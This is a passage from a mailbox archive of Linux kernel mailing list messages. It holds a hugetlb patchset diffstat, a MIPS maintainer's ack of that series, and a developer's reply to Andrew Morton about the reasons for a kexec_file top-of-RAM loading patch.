>>>>     hugetlb: Introduce generic version of huge_ptep_clear_flush
>>>>     hugetlb: Introduce generic version of huge_pte_none
>>>>     hugetlb: Introduce generic version of huge_pte_wrprotect
>>>>     hugetlb: Introduce generic version of prepare_hugepage_range
>>>>     hugetlb: Introduce generic version of huge_ptep_set_wrprotect
>>>>     hugetlb: Introduce generic version of huge_ptep_set_access_flags
>>>>     hugetlb: Introduce generic version of huge_ptep_get
>>>>
>>>>    arch/arm/include/asm/hugetlb-3level.h        | 32 +---------
>>>>    arch/arm/include/asm/hugetlb.h               | 33 +----------
>>>>    arch/arm64/include/asm/hugetlb.h             | 39 +++---------
>>>>    arch/ia64/include/asm/hugetlb.h              | 47 ++-------------
>>>>    arch/mips/include/asm/hugetlb.h              | 40 +++----------
>>>>    arch/parisc/include/asm/hugetlb.h            | 33 +++--------
>>>>    arch/powerpc/include/asm/book3s/32/pgtable.h |  2 +
>>>>    arch/powerpc/include/asm/book3s/64/pgtable.h |  1 +
>>>>    arch/powerpc/include/asm/hugetlb.h           | 43 ++------------
>>>>    arch/powerpc/include/asm/nohash/32/pgtable.h |  2 +
>>>>    arch/powerpc/include/asm/nohash/64/pgtable.h |  1 +
>>>>    arch/sh/include/asm/hugetlb.h                | 54 ++---------------
>>>>    arch/sparc/include/asm/hugetlb.h             | 40 +++----------
>>>>    arch/x86/include/asm/hugetlb.h               | 72 +----------------------
>>>>    include/asm-generic/hugetlb.h                | 88 +++++++++++++++++++++++++++-
>>>>    15 files changed, 143 insertions(+), 384 deletions(-)
>>>>
>>>> -- 
>>>> 2.16.2



From - Thu Nov 08 21:41:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Paul Burton <paul.burton@mips.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Tue, 24 Jul 2018 17:34:29 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20180725003428.jsklz7pj4m7lj3m4@pburton-laptop>
References: <20180705110716.3919-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1532478754 5590 195.159.176.226 (25 Jul 2018 00:32:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 25 Jul 2018 00:32:34 +0000 (UTC)
User-Agent: NeoMutt/20180716
Cc: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, jhogan@kernel.org, jejb@parisc-linux.org,
        deller@gmx.de, benh@kernel.crashing.org, paulus@samba.org,
        mpe@ellerman.id.au, ysato@users.sourceforge.jp, dalias@libc.org,
        davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com,
        hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org,
        Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>,
        Mike Kravetz <mike.kravetz@oracle.com>
To: Alexandre Ghiti <alex@ghiti.fr>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jul 25 02:32:28 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fi7j9-0001K6-2J
	for glk-linux-kernel-4@m.gmane.org; Wed, 25 Jul 2018 02:32:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S2388585AbeGYBnh (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 24 Jul 2018 21:43:37 -0400
Original-Received: from mail-by2nam01on0092.outbound.protection.outlook.com ([104.47.34.92]:19485
        "EHLO NAM01-BY2-obe.outbound.protection.outlook.com"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S2388441AbeGYBng (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 24 Jul 2018 21:43:36 -0400
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=wavesemi.onmicrosoft.com; s=selector1-wavecomp-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=JLfXF7WZwq4rz00dCCrZNbIKvMc2gH1Et0Wf/Ylt7/M=;
 b=bpXmgHiDj0dIC/IB4SOkfOBXnGbxJ5mQLNWDDFb1p3t/b1Zc2h1woiplNv4WB9ifmK/T+ZLiEjfB9vJaWAGboQ4ZDykH6jdb72UzZzyxAhFoi3CcFItNk0EuY9sd7RicSfyFc9eqzqGUjMTZcn0qvHS3CbjXZPGP7yTxYuYR4aM=
Authentication-Results: spf=none (sender IP is )
 smtp.mailfrom=pburton@wavecomp.com; 
Original-Received: from localhost (4.16.204.77) by
 BN7PR08MB4932.namprd08.prod.outlook.com (2603:10b6:408:28::18) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.20.973.16; Wed, 25 Jul 2018 00:34:32 +0000
Content-Disposition: inline
In-Reply-To: <20180705110716.3919-1-alex@ghiti.fr>
X-Originating-IP: [4.16.204.77]
X-ClientProxiedBy: CY4PR19CA0027.namprd19.prod.outlook.com
 (2603:10b6:903:103::13) To BN7PR08MB4932.namprd08.prod.outlook.com
 (2603:10b6:408:28::18)
X-MS-PublicTrafficType: Email
X-MS-Office365-Filtering-Correlation-Id: 01fb5f52-30fa-4e62-feb6-08d5f1c6641f
X-Microsoft-Antispam: BCL:0;PCL:0;RULEID:(7020095)(4652040)(8989117)(5600073)(711020)(4534165)(4627221)(201703031133081)(201702281549075)(8990107)(2017052603328)(7153060)(7193020);SRVR:BN7PR08MB4932;
X-Microsoft-Exchange-Diagnostics: 1;BN7PR08MB4932;3:0f443Ub5m/RZKwAx64ZMGzyvjvGXzt6voB1AcPTJxVgmx/zp5G1ZVKkmYQZMlDINB9p40gQbe/qeGwpPHhRzWYQxQt9JWqeI6nffXz7hZ/NkvY6zp8MpbQIVWiDP25htRjZs0i0cNTpyp3O3Tf52STrSwheBzA6kx7qx0vMuOW77+yjwpZC12Fl7Httiqi2OQh60LtXGqKhnWlTEnT7xzq4LUT6Ta/JB0QZyr01o80+RRPhKckPXHCL3zHH5Flw/;25:4AR6Pm1/pIOqUBSDID7+eqy7jILsWVBxhYb0yJE+WMFckUPVZ32d6/ovPwj4ITjwD3XKQ/naf/DLzObT6GJch7zud2ehfdzsqmqKV8UtbayV18iFeWrNLreD3P9kUQs7PW2Ed/zxgS/7s9DlNKJuG4azCymoiq9J3W3N0q4iu3mrKtvGKIXyRl1S6eBg5h2xZx8Lo2VxAoiTJu8cSRcAfhA33CCC7cxeyNl0wPyrFat+xV3ub3QyTG3wxzC/IIWl61ZL3hzycQHuyRfJ30UrPvDJ5vgOQ4VdZkeu1ZPCdl36Hu5UD7aRH6dvBWeBKeWvWtsCyE9PT8pBAiFHQRbwlQ==;31:gN93pqNAlJ55JqJ+ik7/9V1mGWcF20dzwiyhco0x/zjdRaPhKHvjAmUiXR1W02eAr8LJ0zoCaMFHhnymNMKWJDESQUAPLdcEP+OmkrFuzP67vz3plMfJgFyfmqMUBnrH8qS2zlzJGleI
 zzJxUIoEcQSvAQaN4ArqladycmitG9J79u/Wa5Wfp0ECgxNiQoPUMqwtwniypKCX8fkKfO0RNkO5oYGDrWjFG7NqTG/Ydd4=
X-MS-TrafficTypeDiagnostic: BN7PR08MB4932:
X-Microsoft-Exchange-Diagnostics: 1;BN7PR08MB4932;20:q6LKqlxqUxCOSgncPrgGUQqQlD0tbykcp0acG8So1TwSTQr5aWchmghCc3SbFcfF/hxecLtdmi2z5Gu29b97+G2YsaWVnTO8wXErzA0twVc8s3bpc5fLrtCCEoM707qWCLcWOoOul7wvgbV3+Yd90Ki15vG/t3krGgVd+44JxMbpnaNRCTkc2IOGwOmBPYa+pbcc5WmjKZgMaTWhSPqeKNxyNzSG8KFj3B/G7XEMOO6lrsNqSxdi/tB7U9yHzlBh;4:BA/ouI43UD8iBWYeccxTRCxOD3i1OA4LCiTVOvisXK6IMM4GdWA928b7LbPuWsxVK/RwKGau5ioCYQjs6jyLGEAPT7PseXZV4Tt0fYX4xkrYxFpJJi+DoJ6RkXMoSX4V0FQZttRNgNn8y98EvkQy4j76SNQuqFNl5t+35oTWb3IEkWtgHLctCu21Cko5wH3wN+j7Ta3+Y6MLQH5GnqyaWITH5L7/ww+3D2Rgz5aEP6UrS7lh44bZbEb8vOoOJtC1mMRIhq+12GI3i5deu+FAcQ==
X-Microsoft-Antispam-PRVS: <BN7PR08MB4932207425E72FA779B2051EC1540@BN7PR08MB4932.namprd08.prod.outlook.com>
X-Exchange-Antispam-Report-Test: UriScan:;
X-MS-Exchange-SenderADCheck: 1
X-Exchange-Antispam-Report-CFA-Test: BCL:0;PCL:0;RULEID:(6040522)(2401047)(8121501046)(5005006)(3231311)(944501410)(52105095)(93006095)(10201501046)(3002001)(149027)(150027)(6041310)(201703131423095)(201702281528075)(20161123555045)(201703061421075)(201703061406153)(20161123558120)(20161123560045)(20161123562045)(20161123564045)(6072148)(201708071742011)(7699016);SRVR:BN7PR08MB4932;BCL:0;PCL:0;RULEID:;SRVR:BN7PR08MB4932;
X-Forefront-PRVS: 0744CFB5E8
X-Forefront-Antispam-Report: SFV:NSPM;SFS:(10019020)(6069001)(7916004)(346002)(376002)(366004)(39840400004)(136003)(396003)(189003)(199004)(7416002)(50466002)(7736002)(76506005)(105586002)(58126008)(16586007)(81166006)(478600001)(52116002)(6496006)(316002)(305945005)(47776003)(76176011)(66066001)(26005)(54906003)(33896004)(386003)(16526019)(7406005)(229853002)(8676002)(186003)(53936002)(81156014)(6246003)(106356001)(25786009)(6916009)(8936002)(33716001)(2906002)(23726003)(9686003)(1076002)(3846002)(956004)(6666003)(97736004)(68736007)(4326008)(6116002)(446003)(476003)(5660300001)(14444005)(486006)(6486002)(44832011)(11346002)(42882007);DIR:OUT;SFP:1102;SCL:1;SRVR:BN7PR08MB4932;H:localhost;FPR:;SPF:None;LANG:en;PTR:InfoNoRecords;MX:1;A:1;
Received-SPF: None (protection.outlook.com: wavecomp.com does not designate
 permitted sender hosts)
X-Microsoft-Exchange-Diagnostics: =?us-ascii?Q?1;BN7PR08MB4932;23:ykWb0C/AZifqLurPLgdiB9kTDnuxwzRZFAnTJZ0uJ?=
 =?us-ascii?Q?Ppms2DDzR6SGY6QeeOycT7edNq8qRtyTTNBxlYBdclA2wRN2JnkdL73rpU5N?=
 =?us-ascii?Q?TAab/SHx5REKpQhUuluuACB6NEbVNZekRmb+23L1AK4T3638ofA6OrYpofpY?=
 =?us-ascii?Q?taNm7WW41t/qLggZY+gmJybFDevPwl0H6yFxaJqOXJ/b8F2W4wRdSHM/VTkr?=
 =?us-ascii?Q?2JE0TwEmSHWdrNGbiMyRp+5mELxYmsksj2dfBY/10eYQEugmydKlcyYoOKka?=
 =?us-ascii?Q?by3QzzZhqaOBZClnhoz+PIrN/xFdFy8n7zT3Nq7AIIDqZ7oV6WmKbtMom+wb?=
 =?us-ascii?Q?1CXKfxBiktM6vo0fwYXWZLAt0Tl8D7Ge92k6ENeLvbsXwSiiX8hHUqcDDWAg?=
 =?us-ascii?Q?TOHZbUubi7XzF9hkUzjEEufJnMyVllY9J2vlRt948x4NYfOUjCejPSw9jzjW?=
 =?us-ascii?Q?R7b8og6C2kmCSeWHMW4tEMV6inUwZC6z0joR/Q8zFF3qHZv354HZFQEGBpvl?=
 =?us-ascii?Q?xkCBHUZwB+h5AW+Wjdjyzeg/qeFRSox+KLxvtBA7cIlR1OjcJrGRISMQJyqU?=
 =?us-ascii?Q?e07RvP8fgfK0mjixbz/RWLYjus2ehVhpdtlxmtO7knO9d6sJjWvTCroMA+O+?=
 =?us-ascii?Q?Yn9Bt/ 
X-Microsoft-Antispam-Message-Info: +5YB1DRk88IY9SbJV3lgLNZTNElE94zMFbaZu8n16Dpesj6oyPM7CKmh/XRn0sI+cXNW0ZvcBxLOHgYDHCTAH0hy2c49wmDr1YQxv3QbX8XiULbZKzrqvvefdVTDHKGwc8cXA5z3i+R6poECWDYetD5MsqUiyeeZ2GEErhy5eJzpT0agLnfAev/R9EET0kOUsib5Feen+OIrnPXLNzjVnsp0oDsiQPifL9/Ny5eVLNEnTFMPFzjMd18kV1J0F5zpvvSMTu/KH2FV55yAsgfXiLrGHT+D+rlmlhp9CKChNDMgf1CYkPM7pu3khKQok6n3DhtGVyOm/zaCS9G0S+iARKJ7NjhixRCIjMsRPSnrh4A=
X-Microsoft-Exchange-Diagnostics: 1;BN7PR08MB4932;6:c0410fq5yUiqNK85dbEuLO/zpj6NEeigf+AFB4t8+EGyfnadIYAm25z2sSp33+MoZ/uFzv54AqVKjO6mPh78gEa0Gl203BuIPFshOF9RbLN579CRc3FlcZ9NHO8mGgb3I3lmpmZrAztHuqZviBVNDIrlI7pSBjg0/BU6/o+aauy3zgYqyy2+Qu+5rAgmKYIMeW2hG4sCeh4rF2yMIQcehpIxbbwA7t/JNuKU1hPpisUlTZ8Dv4Zv29U/+rhIn5HKGA2WOgl6zQYQHeYKUTGzuG5UMlUGR4+C0meP0GKMrwTbBAw2ZAcxX0Vhwjp0MtHqjb3YvNuQb9wGv1fyrs/dXwZFrXtUjGQWhu1gU/+Gowo52iIXm8h1mzpHM110mI4ngDC5BCAjhAyWOw5SgWngcqALrDP+27e04yUKkzGdm3T+1aGlWugQSWbxyBw6a6Dg3ypzJrMO4UjGJ5TfGVh3Eg==;5:bvpOPu+nmcPW/B8Y2XgVTCZ7x0Fxb3VaSpk/0zgF3s97R2ec/itJjDanboIpHsJmxh3Ju6BOGZBizFqV7XdfR0vRgDd0170Pa/CPR5C5tx6AEITNFpfxpOoxYD2U7DbjRHxu59HBJp52f1oTVl91le0Fo4ggIzaF3zUrRCnZpZs=;7:qsbrhbh2hlaVz27iF1pahCd7FloVJRhonEg52BvTX6NKSRlqOiPpJVv7vVDt5NofTlerS9FNik7/mR2dJUX5Lyxf/Ib3JSmy/f
 eyXu3objTlG9Qll/AwTq5iepmusjKbIXDDfNA27Xms0Ac1RJaw8srApb0fNdv7j+wwV28gBVwTHY65Xn/WgDyl1XNVJkGAtiab 
SpamDiagnosticOutput: 1:99
SpamDiagnosticMetadata: NSPM
X-OriginatorOrg: mips.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 25 Jul 2018 00:34:32.6488 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 01fb5f52-30fa-4e62-feb6-08d5f1c6641f
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 463607d3-1db3-40a0-8a29-970c56230104
X-MS-Exchange-Transport-CrossTenantHeadersStamped: BN7PR08MB4932
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2829835 gmane.linux.ports.arm.kernel:665711 gmane.linux.ports.ia64:28955 gmane.linux.ports.mips.general:65645 gmane.linux.ports.parisc:28808 gmane.linux.ports.ppc64.devel:160368 gmane.linux.ports.sh.devel:57242 gmane.linux.ports.sparc:28112 gmane.linux.kernel.cross-arch:45471
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2829835>

Hi Alexandre,

On Thu, Jul 05, 2018 at 11:07:05AM +0000, Alexandre Ghiti wrote:
> In order to reduce copy/paste of functions across architectures and then
> make riscv hugetlb port (and future ports) simpler and smaller, this
> patchset intends to factorize the numerous hugetlb primitives that are
> defined across all the architectures.
> 
> Except for prepare_hugepage_range, this patchset moves the versions that
> are just pass-through to standard pte primitives into
> asm-generic/hugetlb.h by using the same #ifdef semantic that can be
> found in asm-generic/pgtable.h, i.e. __HAVE_ARCH_***.
> 
> s390 architecture has not been tackled in this serie since it does not
> use asm-generic/hugetlb.h at all.
> powerpc could be factorized a bit more (cf huge_ptep_set_wrprotect).
> 
> This patchset has been compiled on x86 only. 

For MIPS these look good - I don't see any issues & they pass a build
test (using cavium_octeon_defconfig which enables huge pages), so:

    Acked-by: Paul Burton <paul.burton@mips.com> # MIPS parts

Thanks,
    Paul


From - Thu Nov 08 21:41:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v7 4/4] kexec_file: Load kernel at top of system RAM if
 required
Date: Wed, 25 Jul 2018 10:21:15 +0800
Lines: 106
Approved: news@gmane.org
Message-ID: <20180725022115.GH6480@MiWiFi-R3L-srv>
References: <20180718024944.577-1-bhe@redhat.com>
 <20180718024944.577-5-bhe@redhat.com>
 <20180718153326.b795e9ea7835432a56cd7011@linux-foundation.org>
 <20180719151753.GB7147@localhost.localdomain>
 <20180719124444.c893712cca2e6f2649d1bc0d@linux-foundation.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532485174 15128 195.159.176.226 (25 Jul 2018 02:19:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 25 Jul 2018 02:19:34 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org, brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 airlied-cv59FeDIM0c@public.gmane.org, linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org,
 sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org,
 dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org, bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org,
 yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org,
 monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
 linux-kernel@vge
To: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Wed Jul 25 04:19:26 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fi9Oa-0003hH-Sx
	for gln-linux-nvdimm@m.gmane.org; Wed, 25 Jul 2018 04:19:21 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 5417A210C1B92;
	Tue, 24 Jul 2018 19:21:31 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 63E9A2098EA8A
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue, 24 Jul 2018 19:21:28 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx05.intmail.prod.int.rdu2.redhat.com
 [10.11.54.5])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id E9251805A530;
 Wed, 25 Jul 2018 02:21:26 +0000 (UTC)
Original-Received: from localhost (ovpn-8-17.pek2.redhat.com [10.72.8.17])
 by smtp.corp.redhat.com (Postfix) with ESMTPS id 0863310C1E;
 Wed, 25 Jul 2018 02:21:18 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20180719124444.c893712cca2e6f2649d1bc0d-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
X-Scanned-By: MIMEDefang 2.79 on 10.11.54.5
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.8]); Wed, 25 Jul 2018 02:21:27 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.8]);
 Wed, 25 Jul 2018 02:21:27 +0000 (UTC) for IP:'10.11.54.5'
 DOMAIN:'int-mx05.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:11147 gmane.linux.drivers.devicetree:281158 gmane.linux.kernel.pci:74216 gmane.linux.kernel.input:62113 gmane.linux.ports.parisc:28809 gmane.linux.kernel.kexec:21284 gmane.linux.kernel:2829878 gmane.linux.ports.ppc64.devel:160370
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/11147>

Hi Andrew,

On 07/19/18 at 12:44pm, Andrew Morton wrote:
> On Thu, 19 Jul 2018 23:17:53 +0800 Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org> wrote:
> > > As far as I can tell, the above is the whole reason for the patchset,
> > > yes?  To avoid confusing users.
> > 
> > 
> > In fact, it's not just trying to avoid confusing users. Kexec loading
> > and kexec_file loading are just do the same thing in essence. Just we
> > need do kernel image verification on uefi system, have to port kexec
> > loading code to kernel. 
> > 
> > Kexec has been a formal feature in our distro, and customers owning
> > those kind of very large machine can make use of this feature to speed
> > up the reboot process. On uefi machine, the kexec_file loading will
> > search place to put kernel under 4G from top to down. As we know, the
> > 1st 4G space is DMA32 ZONE, dma, pci mmcfg, bios etc all try to consume
> > it. It may have possibility to not be able to find a usable space for
> > kernel/initrd. From the top down of the whole memory space, we don't
> > have this worry. 
> > 
> > And at the first post, I just posted below with AKASHI's
> > walk_system_ram_res_rev() version. Later you suggested to use
> > list_head to link child sibling of resource, see what the code change
> > looks like.
> > http://lkml.kernel.org/r/20180322033722.9279-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org
> > 
> > Then I posted v2
> > http://lkml.kernel.org/r/20180408024724.16812-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org
> > Rob Herring mentioned that other components which has this tree struct
> > have planned to do the same thing, replacing the singly linked list with
> > list_head to link resource child sibling. Just quote Rob's words as
> > below. I think this could be another reason.
> > 
> > ~~~~~ From Rob
> > The DT struct device_node also has the same tree structure with
> > parent, child, sibling pointers and converting to list_head had been
> > on the todo list for a while. ACPI also has some tree walking
> > functions (drivers/acpi/acpica/pstree.c). Perhaps there should be a
> > common tree struct and helpers defined either on top of list_head or a
> > ~~~~~
> > new struct if that saves some size.
> 
> Please let's get all this into the changelogs?

Sorry for late reply because of some urgent customer hotplug issues.

I am rewriting all change logs, and cover letter. Then found I was wrong
about the 2nd reason. The current kexec_file_load calls
kexec_locate_mem_hole() to go through all system RAM region, if one
region is larger than the size of kernel or initrd, it will search a
position in that region from top to down. Since kexec will jump to 2nd
kernel and don't need to care the 1st kernel's data, we can always find
a usable space to load kexec kernel/initrd under 4G.

So the only reason for this patch is keeping consistent with kexec_load
and avoid confusion.

And since x86 5-level paging mode has been added, we have another issue
for top-down searching in the whole system RAM. That is we support
dynamic 4-level to 5-level changing. Namely a kernel compiled with
5-level support, we can add 'no5lvl' to force 4-level. Then jumping from
a 5-level kernel to 4-level kernel, e.g we load kernel at the top of
system RAM in 5-level paging mode which might be bigger than 64TB, then
try to jump to 4-level kernel with the upper limit of 64TB. For this
case, we need add limit for kexec kernel loading if in 5-level kernel.

All this mess makes me hesitate to choose a deligate method. Maybe I
should drop this patchset.

> 
> > > 
> > > Is that sufficient?  Can we instead simplify their lives by providing
> > > better documentation or informative printks or better Kconfig text,
> > > etc?
> > > 
> > > And who *are* the people who are performing this configuration?  Random
> > > system administrators?  Linux distro engineers?  If the latter then
> > > they presumably aren't easily confused!
> > 
> > Kexec was invented for kernel developer to speed up their kernel
> > rebooting. Now high end sever admin, kernel developer and QE are also
> > keen to use it to reboot large box for faster feature testing, bug
> > debugging. Kernel dev could know this well, about kernel loading
> > position, admin or QE might not be aware of it very well. 
> > 
> > > 
> > > In other words, I'm trying to understand how much benefit this patchset
> > > will provide to our users as a whole.
> > 
> > Understood. The list_head replacing patch truly involes too many code
> > changes, it's risky. I am willing to try any idea from reviewers, won't
> > persuit they have to be accepted finally. If don't have a try, we don't
> > know what it looks like, and what impact it may have. I am fine to take
> > AKASHI's simple version of walk_system_ram_res_rev() to lower risk, even
> > though it could be a little bit low efficient.
> 
> The larger patch produces a better result.  We can handle it ;)

For this issue, if we stop changing the kexec top down searching code,
I am not sure if we should post this replacing with list_head patches
separately.

Thanks
Baoquan

From - Thu Nov 08 21:41:44 2018
X-Mozilla-Status: 0011
